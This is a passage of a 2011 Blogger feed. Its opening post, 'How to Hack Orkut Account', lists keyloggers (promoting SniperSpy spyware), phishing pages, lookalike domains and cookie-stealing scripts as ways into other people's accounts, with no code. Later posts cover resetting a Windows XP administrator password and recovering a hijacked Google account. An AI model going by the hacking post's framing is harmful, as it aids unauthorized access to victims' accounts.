Hack Orkut?&lt;/h1&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;img alt=&quot;How to Hack Orkut Account&quot; class=&quot;alignleft size-full wp-image-3532&quot; height=&quot;135&quot; src=&quot;http://www.gohacking.com/wp-content/uploads/2008/12/orkut-logo.jpg&quot; title=&quot;Hack Orkut Account&quot; width=&quot;200&quot; /&gt;Ever wondered how to hack Orkut account? Well, here are some of the ways through which you can gain access to Orkut account.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Google uses a &lt;strong&gt;4 Level Orkut login &lt;/strong&gt;feature which makes it difficult to hack&amp;nbsp;it using brute force attack. Hence, it is&amp;nbsp;almost impossible to use the brute force approach to&amp;nbsp;gain access to&amp;nbsp;Orkut account. Before we discuss on how to hack Orkut, let us&amp;nbsp;take a look&amp;nbsp;at the &lt;span style=&quot;text-decoration: underline;&quot;&gt;4 level secure login&lt;/span&gt; feature of Orkut account.&lt;br /&gt;
&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;strong&gt;First Level &lt;/strong&gt;- &lt;a href=&quot;http://www.gohacking.com/2009/01/know-more-about-secure-sockets-layer-ssl.html&quot; target=&quot;_blank&quot;&gt;Security-SSL or 128 bit secured connection&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;strong&gt;Second Level&lt;/strong&gt; -&amp;nbsp;Orkut account checks for the presence cookie in the user’s system&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;strong&gt;Third Level&lt;/strong&gt; -&amp;nbsp;Orkut provides a redirection to the entered User information&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;strong&gt;Fourth Level&lt;/strong&gt; -&amp;nbsp;Orkut doesn’t use conventional php/aspx/asp coding. So, it is impossible to&amp;nbsp;hack Orkut&amp;nbsp;using input validation attack!!!&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;So, it is not an easy task to hack Orkut by&amp;nbsp;breaking this security!&amp;nbsp;However, there are some people who still&amp;nbsp;manage to gain access to other’s Orkut accounts. The question concerned is how they do it?&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Many of them just use simple tricks that fool users&amp;nbsp;by making them&amp;nbsp;to leak out their password by themselves. Read on to discover&amp;nbsp;the tricks used by hackers to hack Orkut account.&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;h2 style=&quot;text-align: center;&quot;&gt;Ways to Hack Orkut Account&lt;/h2&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;strong&gt;1.&lt;/strong&gt; Using a &lt;a href=&quot;http://www.gohacking.com/recom_products/SniperSpy.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Keylogger&lt;/a&gt; is one of the &lt;strong&gt;Easiest Way&lt;/strong&gt; to &lt;strong&gt;Hack Orkut password&lt;/strong&gt;. Keylogger programs can spy on what the user types on his/her computer keyboard. A Keylogger program&amp;nbsp;operates in a&amp;nbsp;complete stealth mode&amp;nbsp;and thus remains undetected. Hence, the victim will never come to know about&amp;nbsp;it’s presence&amp;nbsp;on his computer.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;A keylogger, sometimes called a keystroke logger, key logger, or system monitor, is a hardware device or small program that monitors each keystroke a user types on a specific computer’s keyboard. A keylogger program is widely available on the Internet.&amp;nbsp;One of the &lt;strong&gt;best&amp;nbsp;&lt;/strong&gt;is listed below:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt; &lt;/div&gt;&lt;div style=&quot;font-size: 18px;&quot;&gt;&lt;a href=&quot;http://www.gohacking.com/recom_products/SniperSpy.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;SniperSpy&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;A detailed&amp;nbsp;information on keylogger hack can be found in my post on&amp;nbsp;&lt;a href=&quot;http://www.gohacking.com/2008/01/hacking-e-mail-account.html&quot; target=&quot;_blank&quot;&gt;How to Hack&amp;nbsp;an Email Account&lt;/a&gt;.&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt; &lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;strong&gt;2. &lt;a href=&quot;http://www.gohacking.com/2008/01/know-more-about-phishing-attack.html&quot; target=&quot;_blank&quot;&gt;Phishing Attack&lt;/a&gt;&lt;/strong&gt; is the most popular way of hacking/stealing other’s password. This attack works by using fake login pages (login pages that look exactly same as that of Orkut, but a fake one)&amp;nbsp;to fool innocent&amp;nbsp;users to enter their Orkut username and password in these fake login pages instead of the real ones.&amp;nbsp;When the users land on&amp;nbsp;a fake login&amp;nbsp;page,&amp;nbsp;they enter their Orkut username and password thinking it to be&amp;nbsp;the real&amp;nbsp;one, but actually, it is other way round. It submits all the entered details&amp;nbsp;to the&amp;nbsp;creator (usually the hacker)&amp;nbsp;of the fake login page.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt; &lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;strong&gt;3. Orkut New Features Trick:&lt;/strong&gt; Some websites on Internet claims to offer&amp;nbsp;many&amp;nbsp;additional features for Orkut users.&amp;nbsp;Usually, these websites will offer a login page from their own website and force users to login to their Orkut account from this page itself inorder to gain access to the additional features. In fact, these websites are nothing more than a scam.&amp;nbsp;They simply&amp;nbsp;take away your&amp;nbsp;login details&amp;nbsp;when you enter your Orkut username and password on their pages. This is somewhat similar to that of phishing attack.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt; &lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;strong&gt;4. Community Links:&lt;/strong&gt; Many times you are provided with a link to a community in a scrap. Read the link carefully, It may be something like http://www.&lt;strong&gt;&lt;span style=&quot;color: #ff6666;&quot;&gt;okrut&lt;/span&gt;&lt;/strong&gt;.com/Community.aspx?cmm=22910233 &lt;span style=&quot;color: #ff6666;&quot;&gt;OKRUT &lt;/span&gt;not &lt;span style=&quot;color: #33cc00;&quot;&gt;ORKUT&lt;/span&gt;. This is definitely a trap created by the hacker to hack your Orkut password.&amp;nbsp;Clicking on this link will take you to a fake login page where you end up losing your password.&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;strong&gt;5. Java script:&lt;/strong&gt; You must have seen the circulating scraps that asks you to paste&amp;nbsp;a certain&amp;nbsp;code (javascript)&amp;nbsp;onto your address bar. Well, sometimes these scripts will hijack your session by stealing your cookie.&amp;nbsp;So, it is better to avaoid running any unknown script from your orkut account.&amp;nbsp;&lt;/div&gt;So, I hope that this&amp;nbsp;article&amp;nbsp;will not only&amp;nbsp;teach you&amp;nbsp;how&amp;nbsp;to hack Orkut.</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/2239557895860535970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/how-to-hack-orkut-account.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/2239557895860535970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/2239557895860535970'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/how-to-hack-orkut-account.html' title='How to Hack Orkut Account'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-879679639411284858</id><published>2011-07-05T03:22:00.001-07:00</published><updated>2011-07-05T03:22:28.359-07:00</updated><title type='text'>Forgot Windows XP Password ?</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;alignleft&quot; height=&quot;142&quot; src=&quot;http://www.gohacking.com/wp-content/uploads/2008/12/xp.jpg&quot; title=&quot;Hack XP password&quot; width=&quot;205&quot; /&gt;Yes it is possible to change Adminstrator password both in Win XP and Vista without knowing it. If you somehow manage to login as an Administrator then you can change the password without knowing it.&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Here’s the Step-By-Step instructions&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. Right-click on the “My Computer” icon on the desktop OR in the Start Menu.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2. Select the option “Manage”.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;3. On the left pane expand the “Computer Management (Local) tree (if it is not already expanded)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;4. Double click “Local Users and Groups” option From “System Tools” tree.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;5. Click the “Users” option.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;6. Now you will see the list of users on the right side pane, such as Administrator, Guest etc.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;7. Right click the “Administrator” and select the option “Set Password” option.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;8. Now you will see a warning message, Click on proceed.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;9. Now the system asks you for “New Password” and “Confirm Password” .&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;10. After entering the password click on “OK”. The password is changed. That’s It!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/879679639411284858/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/forgot-windows-xp-password.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/879679639411284858'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/879679639411284858'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/forgot-windows-xp-password.html' title='Forgot Windows XP Password ?'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7551441440082432535.post-4465567663497875431</id><published>2011-07-05T03:17:00.001-07:00</published><updated>2011-07-05T03:17:33.867-07:00</updated><title type='text'>What to do when your Orkut Account is Hacked ?</title><content type='html'>&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter&quot; height=&quot;172&quot; src=&quot;http://www.gohacking.com/wp-content/uploads/2008/12/hack-protect-orkut.jpg&quot; title=&quot;Orkut Hacked?&quot; width=&quot;240&quot; /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;It can be a nightmare if someone else takes control of your Google Account because all your Google services like Gmail, Orkut, Google Calendar, Blogger, AdSense, Google Docs and even Google Checkout are tied to the same account.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Here are some options suggested by Google Support when your forget the Gmail password or if someone else takes ownership of your Google Account and changes the password:&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;strong&gt;1. Reset Your Google Account Password:&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Type the email address associated with your Google Account or Gmail user name at &lt;a href=&quot;https://www.google.com/accounts/ForgotPasswd&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Gmail Forgot Password Link&lt;/a&gt; – you will receive an email at your secondary email address with a link to reset your Google Account Password. This will not work if the other person has changed your secondary email address or if you no longer have access to that address.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;strong&gt;2. For Google Accounts Associated with Gmail:&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;If you have problems while logging into your Gmail account, you can consider contacting Google by &lt;a href=&quot;http://www.google.com/support/accounts/bin/request.py?service=mail&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;filling this form&lt;/a&gt;. It however requires you to remember the exact date when you created that Gmail account.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;strong&gt;3. For Hijacked Google Accounts Not Linked to Gmail:&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;If your Google Account doesn’t use a Gmail address, contact Google by &lt;a href=&quot;http://www.google.com/support/accounts/bin/request.py?hl=en&amp;amp;ctx=accounts_hc&amp;amp;contact_type=hijack&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;filling this form&lt;/a&gt;. This approach may help bring back your Google Account if you religiously preserve all your old emails. You will be required to know the exact creation date of your Google Account plus a copy of that original “Google Email Verification” message. It may be slightly tough to get your Google Account back but definitely not impossible if you have the relevant information in your secondary email mailbox.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://easymasters.blogspot.com/feeds/4465567663497875431/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://easymasters.blogspot.com/2011/07/what-to-do-when-your-orkut-account-is.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/4465567663497875431'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7551441440082432535/posts/default/4465567663497875431'/><link rel='alternate' type='text/html' href='http://easymasters.blogspot.com/2011/07/what-to-do-when-your-orkut-account-is.html' title='What to do when your Orkut Account is Hacked ?'/><author><name>Easy masters</name><uri>http://www.blogger.com/profile/08523723735913677110</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpAHnQ2kA_tgA0gH8suHfGiYsxePYNPLISeetT7bLIjF4GKvCP-dJWtx-qHdkIATpZo2D8XMvro1gTQuev9RUV9lzGLpIKklCjY5vVF4sFAEZVnn45BNNsAVhfUMWTJA/s220/images.jpeg'/></author><thr:total>0</thr:total></entry></feed>